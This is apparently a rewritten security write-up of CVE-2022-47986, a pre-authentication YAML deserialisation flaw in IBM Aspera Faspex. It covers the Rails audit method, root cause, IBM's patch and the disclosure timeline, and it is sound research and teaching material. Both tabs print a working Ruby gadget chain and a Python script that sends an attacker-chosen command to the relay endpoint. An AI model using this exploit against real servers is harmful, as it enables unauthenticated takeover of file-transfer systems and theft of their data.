Pre-Auth RCE in Aspera Faspex: Case Guide for Auditing Ruby on Rails
An unauthenticated attacker could send a crafted YAML payload to the package relay endpoint, which was deserialised by YAML.load, leading to remote command execution on the Aspera Faspex server.
Published on blog.assetnote.io
Many enterprise organizations that deal with large amounts of data that needs to be shared between employees or stakeholders often use enterprise file transfer software.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
IBM Aspera Faspex is a file-exchange application built on IBM Aspera High-Speed Transfer Server, offering a web-based GUI for managing FASP high-speed transfers. Organisations use it to move large files between employees and external stakeholders, which means the data it holds is often sensitive and the service can act as a single point of failure: compromise it and everything stored behind it is exposed. Faspex advertises encryption options for uploaded files, but the vulnerability described here breaks that security model entirely, allowing arbitrary command execution on the Faspex server before authentication.
The issue was assigned CVE-2022-47986 and affected the package relay feature, reachable at the route /package_relay/relay_package. The research was carried out at Assetnote, and customers of its Attack Surface Management platform were notified first.
Setup
No accounts or special roles were needed: the whole point of the finding is that the vulnerable route is reachable without authentication. The work was a source code audit of a Ruby on Rails application, so the tooling is essentially a code browser and a Python interpreter for the final exploit.
The relevant precondition is the application layout. Faspex used a conventional Rails structure:
normal layout:
app/
views/
controllers/
models/
...
config/
lib/
Gemfile
...
The audit focused on the app/ folder, and specifically on controllers that were routable without authentication. The routes file, which maps routes to controllers, was used to work out which controllers those were; the authors compare it to a web.xml in the Tomcat world.
Finding it
Two things are worth checking early in any Rails codebase. The first is a static SECRET_KEY_BASE shipped in a configuration file rather than derived from an environment variable: if that value is known, session cookies can be forged and Ruby deserialisation payloads can lead to command execution. The second is the routes file, which gives the map of unauthenticated entry points.
Beyond that, the authors list the sinks they look for in Rails applications, noting that many of them are dangerous because of Ruby and its libraries rather than the framework itself.
Deserialisation:
Oj.loadActiveSupport::XmlMini.parse- Session cookie if the
SECRET_KEY_BASEis controlled, leaked or guessed YAML.load
Template injection:
render inline: "Hello " + params[:name]ERB.new("Hello " + params[:name]).result(context)
SQL injection:
- ActiveRecord based SQL injection (https://rails-sqli.org/)
XSS, via render text, html and similar, in:
<%= @var %>raw varh var
The finding itself was a call to YAML.load inside a controller that appeared to be accessible without authentication. The next step was taint tracing: following the calls backwards to establish whether user input actually reaches the sink. An unsafe YAML.load under default Ruby configuration is dangerous because deserialisation gadgets allow command execution when the sink processes attacker-controlled data. Constructing arbitrary classes through YAML.load does not guarantee RCE, but given how dynamically classes are instantiated, it is a strong candidate.
The route was defined as:
map.resource :package_relay, :controller => :package_relay, :only => :none,
:member => {:relay_package => :post, :relay_access => :post}
The affected controller lives in app/controllers/package_relay_controller.rb:
def relay_package
begin
ip = request.remote_ip
host = request.remote_host
relay = MultiServer::RelayDescriptor.new(params, ip, host)
...
...
Following MultiServer::RelayDescriptor.new leads to lib/multi_server/relay_descriptor.rb:
module MultiServer
class RelayDescriptor
attr_accessor :params
attr_accessor :package_paths, :encryption, :external_emails
attr_reader :requesting_ip, :requesting_host
def initialize(params_hash, requesting_ip_addr, requesting_host_addr)
self.params = params_hash
@requesting_ip = requesting_ip_addr.to_s
@requesting_host = requesting_host_addr.to_s
end
def params=(params_hash)
@params = params_hash
self.class.require_required_keys(self)
self.class.parse(self)
end
def self.parse(relay)
file_list = relay.params[:package_file_list]
relay.package_paths = file_list.collect{ |p|
EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/'))
}
enc_emails = relay.params.delete(:external_emails)
relay.external_emails = YAML.load(enc_emails)
relay.encryption = EConfiguration.require_ear?
end
def self.require_required_keys(relay)
required_keys.each do |rkey|
missing_rkey = relay.params[rkey].nil?
raise InvalidRelayParameters, "missing #{rkey.to_s.inspect}" if missing_rkey
end
end
...
The chain is clear: parameters arrive from the package relay controller, and the user-controlled external_emails parameter reaches the YAML.load sink.
Exploitation
Step 1: choose a deserialisation gadget
The starting point was the universal deserialisation gadget for Ruby 2.x and 3.x published at https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html. In practice the Ruby version bundled with Faspex was a problem: classes the gadget tried to instantiate were missing or differed between versions. In particular, Gem::RequestSet was absent on many Faspex installations. The authors worked around this with PrettyPrint, found in vendor/ruby/lib/ruby/1.9.1/prettyprint.rb:
class PrettyPrint
...
def breakable(sep=' ', width=sep.length)
group = @group_stack.last
if group.break?
flush
@output << @newline
@output << @genspace.call(@indent)
@output_width = @indent
@buffer_width = 0
else
@buffer << Breakable.new(sep, width, self)
@buffer_width += width
break_outmost_groups
end
end
...
Step 2: build the YAML gadget
The gadget that proved reliable across Faspex installations was:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `whoami`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
Step 3: send the payload to the relay endpoint
The exploit script posts the YAML as the external_emails parameter, along with the other fields the relay descriptor requires:
import requests, sys
url = "{}/aspera/faspex/package_relay/relay_package".format(sys.argv[1])
uuid = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"
exploit_yaml = """
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `CMD`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
""".replace("CMD",sys.argv[2])
payload = {
"package_file_list": [
"/"
],
"external_emails": exploit_yaml,
"package_name": "assetnote_pack",
"package_note": "hello from assetnote team",
"original_sender_name": "assetnote",
"package_uuid": uuid,
"metadata_human_readable": "Yes",
"forward": "pew",
"metadata_json": '{}',
"delivery_uuid": uuid,
"delivery_sender_name": "assetnote",
"delivery_title": "TEST",
"delivery_note": "TEST",
"delete_after_download": True,
"delete_after_download_condition": "IDK",
}
r = requests.post(url,json=payload,verify=False)
print(r.text)
package_file_list is processed into EPackagePath objects; external_emails is the tainted value that is deleted from the params and passed to YAML.load. The response body is printed.
Root cause
The relay controller passes the full request params hash into MultiServer::RelayDescriptor.new, and the descriptor's params= setter immediately calls parse. parse pulls external_emails out of the params and hands it straight to YAML.load. Because the route is a member action on package_relay reachable without authentication, an unauthenticated attacker controls the string that reaches a deserialisation sink. Under default Ruby configuration, YAML.load instantiates arbitrary classes named in the document, and deserialisation gadgets can turn that into command execution. The encryption Faspex offers for transferred files does not protect this path.
Impact
An unauthenticated attacker can execute arbitrary commands on the Aspera Faspex server. Because Faspex is a central file-exchange service holding sensitive data, it can act as a single point of failure for the organisation. The gadget had to be adapted to the Ruby version bundled with Faspex, since Gem::RequestSet was missing on many installations; the final gadget using PrettyPrint was reliable across installations.
Fix
IBM patched the vulnerability in Faspex 4.4.2 Patch Level 2. Faspex 5.x does not contain the vulnerability. The advisory is at https://www.ibm.com/support/pages/node/6952319 and the release notes at https://www.ibm.com/docs/en/aspera-faspex/4.4?topic=notes-release-aspera-faspex-442. Upgrading to either is the remediation.
Timeline
- Oct 6th, 2022: the RCE vulnerability was disclosed to IBM.
- Oct 6th, 2022: IBM responded that submitting a vulnerability report grants IBM a no-charge licence to all intellectual property rights unless the reporter notifies them that the rights are covered by someone else:
So that IBM may utilize your vulnerability report to determine and develop appropriate remediation procedures, by submitting a vulnerability report to IBM, you grant to IBM Corporation, its subsidiaries and its affiliates, a perpetual, irrevocable, no charge license to all intellectual property rights licensable by you in or related to the use of this material.
Also, for similar reasons, it is important that you notify us if any of this material is not your own work or is covered by the intellectual property rights of others.
Not notifying us means that you've represented that no third-party intellectual property rights are involved.
- Oct 14th, 2022: the researchers clarified that the work was done during employment at Assetnote and that, per the employment contract, all intellectual property rights belong to Assetnote.
- Nov 5th, 2022: IBM acknowledged and accepted that the rights are owned by Assetnote.
- Jan 15th, 2023: the researchers requested an update on remediation.
- Jan 18th, 2023: IBM notified them that the vulnerability was patched in Faspex 4.4.2 Patch Level 2.
Variants to test
- Other unauthenticated routes that reach
YAML.load: map the routes file to controllers and trace params into deserialisation sinks. Oj.loadandActiveSupport::XmlMini.parsesinks: the same taint tracing applies.- Static
SECRET_KEY_BASEin configuration: check whether the value is hard-coded rather than taken from the environment. - Template injection sinks: look for
render inline:orERB.new(...).resultbuilt from params. - Gadget portability: when the standard Ruby gadget fails because a class such as
Gem::RequestSetis missing, look for alternative classes in the bundled Ruby, as was done withPrettyPrint.
What happened, in plain words
IBM Aspera Faspex is a piece of software that companies install on their own servers so that staff and outside partners can send very large files to each other. It runs in a web browser, like a normal website, and it advertises that the files you send through it are encrypted. Encryption means the contents are scrambled so that anyone who intercepts them cannot read them.
A group of security researchers at a company called Assetnote read the source code of Faspex (the actual programming instructions the software is built from) and found a flaw. The flaw let an attacker run their own commands on the Faspex server without logging in. Running commands on a server means the attacker can do almost anything the server's own operating system can do: read files, change files, or use the machine as a stepping stone. The researchers call this a pre-authentication remote code execution, usually shortened to pre-auth RCE. "Pre-authentication" means before logging in. "Remote code execution" means running code on someone else's machine from far away.
The flaw was given an official tracking number, CVE-2022-47986. CVE stands for Common Vulnerabilities and Exposures: it is a public catalogue number so that everyone can refer to the same bug. Assetnote's Attack Surface Management customers (a service that watches which of a company's systems are exposed on the internet) were the first to know when this vulnerability affected them.
The rest of this article walks through how the researchers found the flaw and how they proved it worked, explaining each idea from scratch along the way.
Approaching a Rails application
Faspex is written in a programming language called Ruby, using a popular toolkit for building websites called Ruby on Rails. Rails has a standard way of arranging the files that make up a website, and knowing that arrangement is the first step to reading the code.
The researchers describe the layout like this:
normal layout:
app/
views/
controllers/
models/
...
config/
lib/
Gemfile
...
Line by line, in plain words:
app/is the folder holding the application's own code. Inside it,views/holds the templates that produce the web pages you see in a browser,controllers/holds the code that decides what to do when a particular web address is requested, andmodels/holds the code that talks to the database.config/holds settings files.lib/holds extra code the application uses, often helper libraries written by the same team.Gemfileis a list of third-party libraries the application depends on. In Ruby, these libraries are called gems, which is why the file has that name.
The researchers focused on the app/ folder, and in particular on the controllers that could be reached without logging in. A controller is the part of a website that receives a request (for example, "show me this page") and decides what to do with it. If a controller can be reached without logging in, then anyone in the world can send it requests.
To work out which controllers those were, they used the routes file. A routes file is a list that says: when someone requests this web address, hand the request to that controller. The researchers compare it to a web.xml file, which plays the same role in websites built with Java and Tomcat (another common way of building web servers).
Two things are worth checking early in any Rails codebase:
- A hard-coded
SECRET_KEY_BASE. Rails uses a secret value with this name to sign things it gives to browsers, most importantly session cookies. A cookie is a small piece of data a website asks your browser to store and send back on every visit; a session cookie is the one that tells the site who you are after you log in. If the secret used to sign that cookie is written directly into a configuration file instead of being generated fresh on each installation, and an attacker learns it, the attacker can create cookies the site will believe. The researchers note that this can lead to command execution through Ruby deserialisation payloads, a concept explained below. They point to a past example of this in GitHub Enterprise. - The routes file itself, because it is the map of every entry point that does not require a login.
Beyond those two, the researchers list the kinds of code they look for in Rails applications. They note that many of these are dangerous because of Ruby and its libraries rather than because of Rails itself.
Deserialisation:
Oj.loadActiveSupport::XmlMini.parse- Session cookie if the
SECRET_KEY_BASEis controlled, leaked or guessed YAML.load
Template injection:
render inline: "Hello " + params[:name]ERB.new("Hello " + params[:name]).result(context)
SQL injection:
- ActiveRecord based SQL injection (https://rails-sqli.org/)
XSS, via render text, html and similar, in:
<%= @var %>raw varh var
What each of these means:
- Deserialisation is the act of turning a stored or transmitted representation of data back into live objects in the program's memory. A simple comparison: you write down a shopping list on paper (serialising), and later someone reads the paper and rebuilds the actual basket of goods (deserialising). If the reader will happily rebuild anything the paper describes, including things you never intended, an attacker who controls the paper controls what gets built. In Ruby,
YAML.loadreads a text format called YAML and rebuilds objects from it.Oj.loaddoes the same for a format called JSON.ActiveSupport::XmlMini.parsedoes it for XML. All three are listed because, in the wrong configuration, they can be told to build objects of the attacker's choosing. - Template injection happens when a website builds a page by gluing user input into a template, and the template engine treats that input as instructions rather than as text.
render inline:andERB.new(...).resultare two Rails ways of rendering a template; if the template text contains something the visitor typed, the visitor can slip instructions into it. - SQL injection is when user input is pasted into a database query, so the visitor can change the query itself. The link points to a catalogue of Rails-specific examples.
- XSS, cross-site scripting, is when user input ends up in a page as live code (usually JavaScript) instead of as harmless text, so it runs in another visitor's browser. The three snippets are Rails ways of printing a value into a page; some of them print it raw, without escaping, which is what makes XSS possible.
With that list in mind, the researchers went looking. They found a call to YAML.load inside a controller that looked reachable without logging in. The next step was taint tracing: starting at the dangerous function and following the calls backwards, to check whether anything a visitor sends actually arrives there. "Tainted" simply means "came from the user and has not been checked".
Why does an unsafe YAML.load matter so much? Because under Ruby's default settings, a YAML document can name classes (the blueprints Ruby uses to create objects) and ask Ruby to build them. Attackers have collected chains of such classes, called gadgets, that, when built in the right order, end up running a command. Building arbitrary classes does not always lead to command execution, but because Ruby is so flexible about creating objects on demand, it is a strong candidate.
The route was defined as:
map.resource :package_relay, :controller => :package_relay, :only => :none,
:member => {:relay_package => :post, :relay_access => :post}
In plain words: this line registers a resource called package_relay and points it at the controller of the same name. :only => :none means none of the standard automatic actions are enabled. :member adds two custom actions on that resource, relay_package and relay_access, and both are reached with a POST request. A POST request is the kind a browser sends when you submit a form, as opposed to a GET, which is what it sends when you simply open a page. The important part for us is that relay_package is one of the entry points, and the researchers found it seemed to be accessible without logging in.
The affected controller lives in app/controllers/package_relay_controller.rb:
def relay_package
begin
ip = request.remote_ip
host = request.remote_host
relay = MultiServer::RelayDescriptor.new(params, ip, host)
...
...
Line by line:
def relay_packagestarts the definition of the action that handles requests to the relay package route.beginmarks the start of a block of code where errors will be caught rather than crashing the whole request.relay = MultiServer::RelayDescriptor.new(params, ip, host)creates a new object of the classMultiServer::RelayDescriptor, handing it three things:params,ipandhost.paramsis the collection of everything the visitor sent in the request: every form field and every value. This is the moment where user input enters the code.
Following MultiServer::RelayDescriptor.new leads to lib/multi_server/relay_descriptor.rb:
module MultiServer
class RelayDescriptor
attr_accessor :params
attr_accessor :package_paths, :encryption, :external_emails
attr_reader :requesting_ip, :requesting_host
def initialize(params_hash, requesting_ip_addr, requesting_host_addr)
self.params = params_hash
@requesting_ip = requesting_ip_addr.to_s
@requesting_host = requesting_host_addr.to_s
end
def params=(params_hash)
@params = params_hash
self.class.require_required_keys(self)
self.class.parse(self)
end
def self.parse(relay)
file_list = relay.params[:package_file_list]
relay.package_paths = file_list.collect{ |p|
EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/'))
}
enc_emails = relay.params.delete(:external_emails)
relay.external_emails = YAML.load(enc_emails)
relay.encryption = EConfiguration.require_ear?
end
def self.require_required_keys(relay)
required_keys.each do |rkey|
missing_rkey = relay.params[rkey].nil?
raise InvalidRelayParameters, "missing #{rkey.to_s.inspect}" if missing_rkey
end
end
...
Line by line:
module MultiServergroups the following code under a name, a bit like a folder for code.class RelayDescriptordefines a blueprint for an object that describes a relay request.- The
attr_accessorlines create readable and writable properties:params,package_paths,encryptionandexternal_emails. Theattr_readerlines create read-only properties:requesting_ipandrequesting_host. def initialize(...)is the code that runs when a new object is created. It stores the three values it was given.to_sconverts a value to text.def params=(params_hash)is a special method that runs whenever someone assigns theparamsproperty. It saves the value, then callsrequire_required_keysto check that every mandatory field is present, then callsparseto process the request. This is important: simply assigningparamstriggers the parsing.def self.parse(relay)is the processing step.file_list = relay.params[:package_file_list]reads thepackage_file_listfield from the request. The next lines turn each entry in that list into anEPackagePathobject, replacing backslashes with forward slashes so paths look the same on every operating system.enc_emails = relay.params.delete(:external_emails)takes theexternal_emailsfield out of the request and stores it in a local variable.deleteremoves it from the collection as it reads it.relay.external_emails = YAML.load(enc_emails)is the dangerous line: it hands the visitor-suppliedexternal_emailsvalue straight toYAML.load, which rebuilds objects from it.def self.require_required_keys(relay)loops over the list of mandatory field names and raises an error if any is missing, with a message naming the missing field.
The chain is now clear: the request arrives at the relay controller, the whole set of request fields is passed into the descriptor, assigning those fields triggers parse, and parse passes the visitor-controlled external_emails value into YAML.load. The visitor controls the text that a deserialisation function will process.
Exploitation
Step 1: choose a deserialisation gadget
The researchers started from a publicly published gadget for Ruby versions 2.x and 3.x, at https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html. A gadget, in this context, is a ready-made chain of objects that, when a deserializer builds them, ends up doing something powerful such as running a command.
In practice, the version of Ruby bundled with Faspex got in the way: some of the classes the gadget tried to build were missing, or were different, depending on the Ruby version. In particular, a class called Gem::RequestSet was absent on many Faspex installations. The researchers worked around this by using a different class, PrettyPrint, found in vendor/ruby/lib/ruby/1.9.1/prettyprint.rb:
class PrettyPrint
...
def breakable(sep=' ', width=sep.length)
group = @group_stack.last
if group.break?
flush
@output << @newline
@output << @genspace.call(@indent)
@output_width = @indent
@buffer_width = 0
else
@buffer << Breakable.new(sep, width, self)
@buffer_width += width
break_outmost_groups
end
end
...
In plain words: PrettyPrint is a class Ruby ships with for formatting text neatly. The method breakable is the interesting part. It looks at the most recent group on a stack of groups. If that group is marked as a place to break, it flushes the buffer and writes @newline to its output. That is the behaviour the gadget abuses: if an attacker can build a PrettyPrint object whose output is a command-running adapter and whose @newline is a command, then calling breakable runs the command.
Step 2: build the YAML gadget
The gadget that proved reliable across Faspex installations was:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `whoami`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
What this document says, in plain words:
---marks the start of a YAML document.- Each
!ruby/object:SomeNametag tells Ruby's YAML loader to build an object of that class rather than plain text. That is exactly the behaviour that makesYAML.loaddangerous. - The document builds a
Gem::Installer, aGem::SpecFetcherand aGem::Requirement. These are ordinary classes from Ruby's package manager, used here as the outer layers of the chain. &1gives a value a name so it can be reused later in the document. Every&1here refers to the same object, which is how the chain is wired together.- The innermost interesting part is a
Net::WriteAdapterwhosesocketis theKernelmodule and whosemethod_idis:eval.Kernelis where Ruby keepseval, the function that runs a string as code. So this adapter, when asked to write, evaluates a string. - The
PrettyPrintobject hasoutputset to that adapter,newlineset tothrowwhoami``, and agroup_stackcontaining one group withbreak: true. Thebreak: trueis what makesbreakabletake the branch that writes@newlineto the output, which is the adapter, which evaluates it.
Step 3: send the payload to the relay endpoint
The exploit script posts the YAML as the external_emails parameter, along with the other fields the relay descriptor requires:
import requests, sys
url = "{}/aspera/faspex/package_relay/relay_package".format(sys.argv[1])
uuid = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"
exploit_yaml = """
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `CMD`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
""".replace("CMD",sys.argv[2])
payload = {
"package_file_list": [
"/"
],
"external_emails": exploit_yaml,
"package_name": "assetnote_pack",
"package_note": "hello from assetnote team",
"original_sender_name": "assetnote",
"package_uuid": uuid,
"metadata_human_readable": "Yes",
"forward": "pew",
"metadata_json": '{}',
"delivery_uuid": uuid,
"delivery_sender_name": "assetnote",
"delivery_title": "TEST",
"delivery_note": "TEST",
"delete_after_download": True,
"delete_after_download_condition": "IDK",
}
r = requests.post(url,json=payload,verify=False)
print(r.text)
Line by line:
import requests, sysloads two Python libraries:requests, for sending web requests, andsys, for reading the arguments typed on the command line.url = "{}/aspera/faspex/package_relay/relay_package".format(sys.argv[1])builds the target address.sys.argv[1]is the first thing typed after the script name, which is the base address of the target. The rest of the address is the vulnerable route.uuid = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"stores an identifier. A UUID is a long random-looking string used to give something a unique name.exploit_yaml = """..."""stores the YAML gadget as a block of text. The triple quotes let the text span many lines..replace("CMD",sys.argv[2])swaps the placeholderCMDfor the second command-line argument, which is the command the attacker wants to run.payload = { ... }builds the set of fields to send.package_file_listis required byrequire_required_keysand is processed intoEPackagePathobjects.external_emailsis the tainted value that gets removed from the fields and passed toYAML.load. The remaining fields (package_name,package_note,original_sender_name,package_uuid,metadata_human_readable,forward,metadata_json,delivery_uuid,delivery_sender_name,delivery_title,delivery_note,delete_after_download,delete_after_download_condition) fill out the rest of the relay request so that it looks like a complete one.r = requests.post(url,json=payload,verify=False)sends the fields as a POST request in JSON format. JSON is a common text format for structured data, and it is the format the script uses to send the fields.print(r.text)prints whatever the server sent back.
Root cause
The relay controller passes the full set of request fields into MultiServer::RelayDescriptor.new, and the descriptor's params= setter immediately calls parse. parse pulls external_emails out of the fields and hands it straight to YAML.load. Because the route is a member action on package_relay reachable without authentication, an unauthenticated attacker controls the string that reaches a deserialisation function. Under default Ruby settings, YAML.load builds whatever classes the document names, and deserialisation gadgets can turn that into command execution. The encryption Faspex advertises for transferred files does not protect this path.
Impact
An unauthenticated attacker can run arbitrary commands on the Aspera Faspex server. Because Faspex is a central file-exchange service holding sensitive data, it can act as a single point of failure for the organisation. The gadget had to be adapted to the Ruby version bundled with Faspex, since Gem::RequestSet was missing on many installations; the final gadget using PrettyPrint was reliable across installations.
Fix
IBM patched the vulnerability in Faspex 4.4.2 Patch Level 2. Faspex 5.x does not contain the vulnerability. The advisory is at https://www.ibm.com/support/pages/node/6952319 and the release notes at https://www.ibm.com/docs/en/aspera-faspex/4.4?topic=notes-release-aspera-faspex-442. Upgrading to either is the remediation.
Timeline
- Oct 6th, 2022: the RCE vulnerability was disclosed to IBM.
- Oct 6th, 2022: IBM responded that submitting a vulnerability report grants IBM a no-charge licence to all intellectual property rights unless the reporter notifies them that the rights are covered by someone else:
So that IBM may utilize your vulnerability report to determine and develop appropriate remediation procedures, by submitting a vulnerability report to IBM, you grant to IBM Corporation, its subsidiaries and its affiliates, a perpetual, irrevocable, no charge license to all intellectual property rights licensable by you in or related to the use of this material.
Also, for similar reasons, it is important that you notify us if any of this material is not your own work or is covered by the intellectual property rights of others.
Not notifying us means that you've represented that no third-party intellectual property rights are involved.
In plain words, that message says: by sending us your report, you give IBM a permanent, free licence to use it, unless you tell us someone else owns the rights. The researchers replied on Oct 14th, 2022, clarifying that the work was done during employment at Assetnote and that, per the employment contract, all intellectual property rights belong to Assetnote. On Nov 5th, 2022, IBM acknowledged and accepted that the rights are owned by Assetnote. On Jan 15th, 2023, the researchers asked for an update on remediation. On Jan 18th, 2023, IBM told them the vulnerability was patched in Faspex 4.4.2 Patch Level 2.
Variants to test
These are the other things the researchers suggest checking in a Rails application, and what a positive result looks like:
- Other unauthenticated routes that reach
YAML.load: map the routes file to controllers and trace request fields into deserialisation functions. Oj.loadandActiveSupport::XmlMini.parsesinks: the same taint tracing applies.- Static
SECRET_KEY_BASEin configuration: check whether the value is hard-coded rather than taken from the environment. - Template injection sinks: look for
render inline:orERB.new(...).resultbuilt from request fields. - Gadget portability: when the standard Ruby gadget fails because a class such as
Gem::RequestSetis missing, look for alternative classes in the bundled Ruby, as was done withPrettyPrint.
Glossary
- API: a way for one piece of software to talk to another, with agreed requests and responses.
- Attack Surface Management: a service that watches which of an organisation's systems are exposed on the internet.
- Authentication: proving who you are, usually by logging in.
- CVE: Common Vulnerabilities and Exposures, a public catalogue number for a known security flaw.
- Controller: the part of a website that receives a request and decides what to do with it.
- Cookie: a small piece of data a website asks your browser to store and send back on later visits.
- Deserialisation: turning stored or transmitted data back into live objects in a program's memory.
- Encryption: scrambling data so that only someone with the right key can read it.
- eval: a Ruby function that runs a string as code.
- Gadget: a chain of existing classes that, when built by a deserializer, ends up doing something powerful such as running a command.
- Gem: a third-party library in Ruby.
- GET / POST: two kinds of web request; GET is used to open a page, POST to submit data such as a form.
- JSON: a common text format for structured data.
- Module: a named grouping of code in Ruby.
- Object: a live instance of a class in a program's memory.
- Pre-authentication: before logging in.
- RCE: remote code execution, running code on someone else's machine from far away.
- Rails: a popular toolkit for building websites in Ruby.
- Route: the rule that says which controller handles which web address.
- Ruby: the programming language Faspex is written in.
- Session cookie: the cookie that tells a website who you are after you log in.
- Sink: a place in code where dangerous input does damage, such as a deserialisation function.
- SQL injection: pasting user input into a database query so the visitor can change the query.
- Taint tracing: following data from where it enters the program to where it is used, to see whether user input reaches a dangerous place.
- Template injection: gluing user input into a page template so the template engine treats it as instructions.
- UUID: a long random-looking string used to give something a unique name.
- XSS: cross-site scripting, user input ending up in a page as live code that runs in another visitor's browser.
- YAML: a text format for structured data that Ruby can read and turn back into objects.
SECRET_KEY_BASE: the secret value Rails uses to sign things it gives to browsers, such as session cookies.